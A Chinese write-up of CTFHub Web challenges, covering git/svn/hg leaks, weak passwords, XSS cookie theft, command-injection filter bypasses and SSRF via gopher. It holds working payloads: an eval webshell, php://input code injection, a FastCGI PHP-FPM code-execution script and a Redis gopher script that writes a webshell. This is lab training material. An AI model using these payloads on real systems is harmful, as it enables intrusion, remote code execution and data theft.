CTFHub-Web技能树通关(未完待续)
信息泄露
目录遍历
也可以用脚本跑一下
import requests url = "url" for i in range(5): for j in range(5): a =url+"/"+str(i)+"/"+str(j) r = requests.get(a) r.encoding = 'utf-8' get_file=r.text if "flag.txt" in get_file: print(a)
PHPINFO
备份文件查找
网站源码
可以手动试常见的备份文件名,也可以用御剑,dirsearch等扫描工具扫描一下,或者用burp爆破也可以
下载下来备份文件后,却发现里面是假flag,于是在url打开文件,得到真正flag
bak文件
根据题目提示,在index.php后面加.bak即可下载源码获取flag
vim缓存
vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件,如果原文件名是submit,则它的临时文件为submit.swp。如果文件正常退出,则此文件自动删除。
访问.index.php.swp
即可下载,hxd打开,底部为flag
.DS_Store
.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
访问.DS_Store
即可下载,同样为十六进制文件,访问其中提示的flag文件即可获取flag
git泄露
Log
python2 GitHack.py http://challenge-93de7a3935589a2a.sandbox.ctfhub.com:10080/.git
切换到dist文件夹中对应url的目录中执行git log
查看历史记录
一种方法是git diff
对这两次操作进行比对
另一种方法是
还有一种是直接输入git show
即可显示flag
stash
python2 GitHack.py http://challenge-23bc9b71f9af8de5.sandbox.ctfhub.com:10080/.git
git stash list
git stash pop
即可看到txt文件出现,打开获得flag
index
git log
git show
可出
git diff
也可出
git checkout
看到文件名,然后git checkout 160052187811088.txt
出
svn泄露
首先安装工具dvcs-ripper
git clone https://github.com/kost/dvcs-ripper
使用./rip-svn.pl -v -u http://challenge-fb13f9afd9ee3b28.sandbox.ctfhub.com:10080/.svn/
在.svn/pristine目录下的文件中找到flag(注意要开启显示隐藏文件)
hg泄露
./rip-hg.pl -v -u http://challenge-3f0f27b52fffbd61.sandbox.ctfhub.com:10080/.hg
在.hg/store/fncache中看到flag文件名,直接url访问即可获得flag
curl http://challenge-3f0f27b52fffbd61.sandbox.ctfhub.com:10080/flag_28360637.txt
密码口令
弱口令
admin 123456 登录获得flag,(爆破方式详述)
默认口令
估计题意是百度该公司网关默认密码,但是我没有搜到,只搜到相关wp,用wp中的账号密码登录成功获得flag
eyougw
admin@(eyou)
Xss平台https://xss.pt/xss.php?do=login
在XSS平台创建项目,复制js代码,让后台BOT点击盗取cookie,flag在cookie
RCE-eval执行
<?php if (isset($_REQUEST['cmd'])) { eval($_REQUEST["cmd"]); } else { highlight_file(__FILE__); } ?>
http://challenge-a661f108315602de.sandbox.ctfhub.com:10080/?cmd=system(%22cd ../../../;cat flag_24225%22);
<?php error_reporting(0); if (isset($_GET['file'])) { if (!strpos($_GET["file"], "flag")) { include $_GET["file"]; } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?> <hr> i have a <a href="shell.txt">shell</a>, how to use it ?
被包含的文件都会被解析为php,所以shell.txt可被当作shell执行命令
http://challenge-bf8a2e95b9f2075d.sandbox.ctfhub.com:10080/?file=shell.txt
[post data] ctfhub=system("cd ../../../;ls;cat flag");
<?php if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 6) === "php://" ) { include($_GET["file"]); } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?> <hr> i don't have shell, how to get flag? <br> <a href="phpinfo.php">phpinfo</a>
http://challenge-56caca05b50278f5.sandbox.ctfhub.com:10080/?file=php://input
[post data] <?php system('cd ../../../;ls;cat flag_10260') ?>
<?php error_reporting(0); if (isset($_GET['file'])) { if (!strpos($_GET["file"], "flag")) { include $_GET["file"]; } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?> <hr> i don't have shell, how to get flag?<br> <a href="phpinfo.php">phpinfo</a>
同input解法
RCE-读取源代码
<?php error_reporting(E_ALL); if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 6) === "php://" ) { include($_GET["file"]); } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?> <hr> i don't have shell, how to get flag? <br> flag in <code>/flag</code>
http://challenge-f81c3c3192321f05.sandbox.ctfhub.com:10080/?file=php://filter/read=convert.base64-encode/resource=/flag
127.0.0.1;ls&&cat 139501528732660.php
flag在注释中
或127.0.0.1;ls&&cat 139501528732660.php| base64
或127.0.0.1;cat ???501528732660.???| base64
RCE-过滤cat
127.0.0.1;ls;tac flag_420034259314.php
127.0.0.1;c$@at flag_420034259314.php
RCE-过滤空格
利用<或<>(此题不知为何只能用<)
127.0.0.1;cat<flag_242452442031908.php
${IFS} $IFS$9 $IFS
127.0.0.1;cat${IFS}flag_242452442031908.php
127.0.0.1;cat$IFS$9flag_242452442031908.php
%0a(换行) %20(space) %09(tab) %3c(<)以及+(使用时要在url上直接改,在输入框输入会被改掉)
127.0.0.1;cat%09flag_242452442031908.php
RCE-过滤目录分割符
直接一层一层看
127.0.0.1;ls;cd flag_is_here;ls;cat flag_16171164519803.php
RCE-过滤运算符
同上
127.0.0.1;ls;cd flag_12665;ls;1679331166.php;cat flag_126651679331166.php
RCE-综合过滤
;
用%0a(换行)代替,空格用%09代替,过滤cat用tac代替,过滤flag直接4个?代替
127.0.0.1%0als%0acd%09????_is_here%0als%0atac%09????_2266192737600.php
SSRF
ssrf部分参见https://zhuanlan.zhihu.com/p/302861528
涉及到的协议有:
file://文件路径 访问本地文件
dict://serverip:port 探测端口的开放情况
gopher://<host>:<port>/<gopher-path> 默认70端口 可以实现多个数据包整合发送
SSRF-内网访问
题目有提示直接访问
url=127.0.0.1/flag.php
SSRF-伪协议读取文件
常见web目录访问即可
url=file:///var/www/html/flag.php
SSRF-端口扫描
先用dict伪协议检测端口
url=dict://127.0.0.1:8740
扫描出端口直接访问
url=127.0.0.1:8740
SSRF-POST请求
先用file协议尝试读取下flagurl=file:///var/www/html/flag.php
,在注释中发现
?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { echo "Just View From 127.0.0.1"; return; } $flag=getenv("CTFHUB"); $key = md5($flag); if (isset($_POST["key"]) && $_POST["key"] == $key) { echo $flag; exit; }
key在url=127.0.0.1/flag.php
注释中
key=d6b1a3b035f16b854528feb3feb77caf
从flag.php中可知,需要我们利用ssrf从127.0.0.1 post key
题目中提到了curl,而curl支持gopher协议,因此本题即利用gopher协议进行POST请求
gopher协议默认70端口,格式为:gopher://<host>:<port>/<gopher-path>_后接TCP数据流 注意:不要忘记下划线 _
如果发起post请求,回车换行需要使用%0d%0a
(\r\n的URL编码),如果存在多个参数,参数之间的&也需要进行URL编码
最基本的POST请求(Content-Length为POST内容长度,严格按照字符长度填写)
POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 Content-Type: application/x-www-form-urlencoded Content-Length: 36 key=d6b1a3b035f16b854528feb3feb77caf
将这部分POST请求经url编码后换行部分换为%0d%0a并再进行一次次url编码后即为payload
url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=d6b1a3b035f16b854528feb3feb77caf
SSRF-上传文件
url=127.0.0.1/flag.php
发现只有选择文件没有上传选项,F12手动添加一条上传选项
<input type="submit" name="submit">
随便上传一个文件,burpsuit抓一下包,然后修改host为127.0.0.1:80,整段请求复制下来url编码一次,%0a换成%0d%0a后,再url编码一次提交得到flag
注意,如果没有将host改为127.0.0.1:80的话,那么可能返回400(但是flag还是会显示,应该是题目配置问题)
这样的情况也出现在1.6版本的burp中,提交两个字因为编码问题无法显示,直接复制并进行url编码发送请求的话也会出现400状态码
SSRF-FastCGI协议
首先监听9000端口,因为PHP-FPM默认监听9000端口
题目文档给出脚本文件
import socket import random import argparse import sys from io import BytesIO # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client PY2 = True if sys.version_info.major == 2 else False def bchr(i): if PY2: return force_bytes(chr(i)) else: return bytes([i]) def bord(c): if isinstance(c, int): return c else: return ord(c) def force_bytes(s): if isinstance(s, bytes): return s else: return s.encode('utf-8', 'strict') def force_text(s): if issubclass(type(s), str): return s if isinstance(s, bytes): s = str(s, 'utf-8', 'strict') else: s = str(s) return s class FastCGIClient: """A Fast-CGI Client for Python""" # private __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 # request state FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__(self, host, port, timeout, keepalive): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else: self.keepalive = 0 self.sock = None self.requests = dict() def __connect(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # if self.keepalive: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1) # else: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0) try: self.sock.connect((self.host, int(self.port))) except socket.error as msg: self.sock.close() self.sock = None print(repr(msg)) return False return True def __encodeFastCGIRecord(self, fcgi_type, content, requestid): length = len(content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8) & 0xFF) \ + bchr(requestid & 0xFF) \ + bchr((length >> 8) & 0xFF) \ + bchr(length & 0xFF) \ + bchr(0) \ + bchr(0) \ + content return buf def __encodeNameValueParams(self, name, value): nLen = len(name) vLen = len(value) record = b'' if nLen < 128: record += bchr(nLen) else: record += bchr((nLen >> 24) | 0x80) \ + bchr((nLen >> 16) & 0xFF) \ + bchr((nLen >> 8) & 0xFF) \ + bchr(nLen & 0xFF) if vLen < 128: record += bchr(vLen) else: record += bchr((vLen >> 24) | 0x80) \ + bchr((vLen >> 16) & 0xFF) \ + bchr((vLen >> 8) & 0xFF) \ + bchr(vLen & 0xFF) return record + name + value def __decodeFastCGIHeader(self, stream): header = dict() header['version'] = bord(stream[0]) header['type'] = bord(stream[1]) header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3]) header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5]) header['paddingLength'] = bord(stream[6]) header['reserved'] = bord(stream[7]) return header def __decodeFastCGIRecord(self, buffer): header = buffer.read(int(self.__FCGI_HEADER_SIZE)) if not header: return False else: record = self.__decodeFastCGIHeader(header) record['content'] = b'' if 'contentLength' in record.keys(): contentLength = int(record['contentLength']) record['content'] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int(record['paddingLength'])) return record def request(self, nameValuePairs={}, post=''): if not self.__connect(): print('connect failure! please check your fasctcgi-server !!') return requestId = random.randint(1, (1 << 16) - 1) self.requests[requestId] = dict() request = b"" beginFCGIRecordContent = bchr(0) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId) self.sock.send(request) self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND self.requests[requestId]['response'] = b'' return self.__waitForResponse(requestId) def __waitForResponse(self, requestId): data = b'' while True: buf = self.sock.recv(512) if not len(buf): break data += buf data = BytesIO(data) while True: response = self.__decodeFastCGIRecord(data) if not response: break if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR if requestId == int(response['requestId']): self.requests[requestId]['response'] += response['content'] if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response'] def __repr__(self): return "fastcgi connect host:{} port:{}".format(self.host, self.port) if __name__ == '__main__': parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.') parser.add_argument('host', help='Target host, such as 127.0.0.1') parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php') parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>') parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3, 0) params = dict() documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'POST', 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'), 'SCRIPT_NAME': uri, 'QUERY_STRING': '', 'REQUEST_URI': uri, 'DOCUMENT_ROOT': documentRoot, 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '9985', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1', 'CONTENT_TYPE': 'application/text', 'CONTENT_LENGTH': "%d" % len(content), 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' } response = client.request(params, content) print(force_text(response))
将得到的流量数据a.txt通过这个脚本编码一下
a=''' 0101 2fc9 0008 0000 0001 0000 0000 0000 0104 2fc9 01e7 0000 0e02 434f 4e54 454e 545f 4c45 4e47 5448 3337 0c10 434f 4e54 454e 545f 5459 5045 6170 706c 6963 6174 696f 6e2f 7465 7874 0b04 5245 4d4f 5445 5f50 4f52 5439 3938 350b 0953 4552 5645 525f 4e41 4d45 6c6f 6361 6c68 6f73 7411 0b47 4154 4557 4159 5f49 4e54 4552 4641 4345 4661 7374 4347 492f 312e 300f 0e53 4552 5645 525f 534f 4654 5741 5245 7068 702f 6663 6769 636c 6965 6e74 0b09 5245 4d4f 5445 5f41 4444 5231 3237 2e30 2e30 2e31 0f1b 5343 5249 5054 5f46 494c 454e 414d 452f 7573 722f 6c6f 6361 6c2f 6c69 622f 7068 702f 5045 4152 2e70 6870 0b1b 5343 5249 5054 5f4e 414d 452f 7573 722f 6c6f 6361 6c2f 6c69 622f 7068 702f 5045 4152 2e70 6870 091f 5048 505f 5641 4c55 4561 7574 6f5f 7072 6570 656e 645f 6669 6c65 203d 2070 6870 3a2f 2f69 6e70 7574 0e04 5245 5155 4553 545f 4d45 5448 4f44 504f 5354 0b02 5345 5256 4552 5f50 4f52 5438 300f 0853 4552 5645 525f 5052 4f54 4f43 4f4c 4854 5450 2f31 2e31 0c00 5155 4552 595f 5354 5249 4e47 0f16 5048 505f 4144 4d49 4e5f 5641 4c55 4561 6c6c 6f77 5f75 726c 5f69 6e63 6c75 6465 203d 204f 6e0d 0144 4f43 554d 454e 545f 524f 4f54 2f0b 0953 4552 5645 525f 4144 4452 3132 372e 302e 302e 310b 1b52 4551 5545 5354 5f55 5249 2f75 7372 2f6c 6f63 616c 2f6c 6962 2f70 6870 2f50 4541 522e 7068 7001 042f c900 0000 0001 052f c900 2500 003c 3f70 6870 2076 6172 5f64 756d 7028 7368 656c 6c5f 6578 6563 2827 6c73 202f 2729 293b 3f3e 0105 2fc9 0000 0000 ''' a=a.replace('\n','') a=a.replace(' ','') b='' length=len(a) for i in range(0,length,2): b+='%' b+=a[i] b+=a[i+1] print(b)
将得到的字符串再次url编码
即可获取到flag文件名,然后再重复上述操作即可get flag,但是我在浏览器使用此payload时总是504,不知为何,先放着吧。
SSRF-Redis协议
利用方式 --绝对路径写webshell
先构造redis命令
flushall set 1 '<?php eval($_GET["cmd"]);?>' config set dir /var/www/html config set dbfilename shell.php save
用脚本将其转化为redis RESP协议的格式
import urllib.parse protocol="gopher://" ip="127.0.0.1" port="6379" shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd if __name__=="__main__": for x in cmd: payload += urllib.parse.quote(redis_format(x)) print (payload)
将结果url编码一下
url=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
然后返回504状态码,虽然不知道为什么,但是shell已经写进去了
最后直接shell.php?cmd=system("ls;cd%20../../../;ls;cat%20flag_7dac76ca1e46fb38842ba4446accca77");
SSRF-URL Bypass
提示url must startwith "http://notfound.ctfhub.com"
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
SSRF-数字ip Bypass
这次ban掉了127以及172.不能使用点分十进制的IP了。
可以用ip地址转16进制来绕过过滤
<?php $ip = '127.0.0.1'; $ip = explode('.',$ip); $r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ; if($r < 0) { $r += 4294967296; } echo "十进制:"; echo $r; echo "八进制:"; echo decoct($r); echo "十六进制:"; echo dechex($r); ?>
记得在16进制前加上0x?url=0X7F000001/flag.php
SSRF-302 Bypass
SSRF-DNS Bypass
非预期127.0.0.1/flag.php